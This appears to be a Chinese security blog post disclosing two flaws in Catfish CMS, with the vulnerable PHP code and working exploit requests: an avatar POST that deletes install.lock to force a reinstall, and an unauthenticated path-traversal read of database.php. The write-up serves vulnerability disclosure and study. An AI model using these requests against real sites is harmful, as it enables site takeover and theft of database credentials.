Catfish CMS两处任意文件操作

闲来无事做,好久不挖洞了..搞安卓搞得心烦意乱..花半小时挖点小cms调节一下。

任意文件删除

漏洞触发点:

在/application/user/controller/Index.php中第93行:

public function touxiang()
    {
        $this->checkUser();
        if(Request::instance()->isPost())
        {
            //验证输入内容
            $rule = [
                'avatar' => 'require'
            ];
            $msg = [
                'avatar.require' => Lang::get('Please upload your avatar')
            ];
            $data = [
                'avatar' => Request::instance()->post('avatar')
            ];
            $validate = new Validate($rule, $msg);
            if(!$validate->check($data))
            {
                $this->error($validate->getError());//验证错误输出
                return false;
            }
            $avatar = Db::name('users')
                ->where('id', Session::get($this->session_prefix.'user_id'))
                ->field('avatar')
                ->find();
            $yuming = Db::name('options')->where('option_name','domain')->field('option_value')->find();
            //删除原图
            if(Request::instance()->post('avatar') != $avatar['avatar'])
            {
                $yfile = str_replace($yuming['option_value'],'',$avatar['avatar']);
                if(!empty($yfile)){
                    $yfile = substr($yfile,0,1)=='/' ? substr($yfile,1) : $yfile;
                    $yfile = str_replace("/", DS, $yfile);
                    @unlink(APP_PATH . '..'. DS . $yfile);
                }
            }
            $data = ['avatar' => Request::instance()->post('avatar')];
            Db::name('users')
                ->where('id', Session::get($this->session_prefix.'user_id'))
                ->update($data);
        }
        $this->receive();
        $this->assign('active', 'touxiang');
        $view = $this->fetch();
        return $view;
    }

可以看到这里有个unlink的操作,我们看一下参数有一个$yfile
回溯一下该变量,发现源头的是我们从数据库中取出的avatar经过替换得到的一个字符串,那么数据库里的avatar是什么值呢?
我们可以看到,这个其实就是我们编辑完头像的名字存到数据库里的,那么如果这个东西可控的话,那么unlink的文件也是可控的,那么我们就可以达到一个任意文件删除的目的了。那么这个入库的东西到底可不可控呢?答案是可控的
就看这两处:

$data = [
                'avatar' => Request::instance()->post('avatar')
            ];
Db::name('users')
                ->where('id', Session::get($this->session_prefix.'user_id'))
                ->update($data);

可以看到其实直接将我们post过来的avatar变量入了库,没有进行检测,导致我们可以构造任意的值。达到一个任意文件删除的目的。

漏洞利用

利用也很简单:
首先注册登录一个账号,然后构造发包:

http://localhost/catfish/user/index/touxiang.html
POST: avatar=application/install.lock

然后再POST一次不同的avatar的值,就可以删除掉install.lock文件了,达到一个重装的效果。

任意文件读取

漏洞触发点

我对于这个漏洞是很奇怪的,并没有搞懂开发人员的想法,在/application/multimedia/controller/Index.php中的index方法:

public function index()
    {
        if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get'))
        {
            if(Request::instance()->get('media') == 'image')
            {
                echo APP_PATH.'plugins/'.Request::instance()->get('path');
                header("Content-Type: image/".Request::instance()->get('ext'));
                echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path'));
                exit;
            }
        }
    }

这三个参数可控,并且没有任何过滤,这个controller也没有任何权限验证,所以说直接不用登陆就可以读取任意文件,比如说读取配置文件:
http://localhost/catfish/multimedia/index/index.html?ext=jpg&media=image&path=../database.php

后记

渣渣洞,没有多高技术含量,仅供学习。

Comments
Write a Comment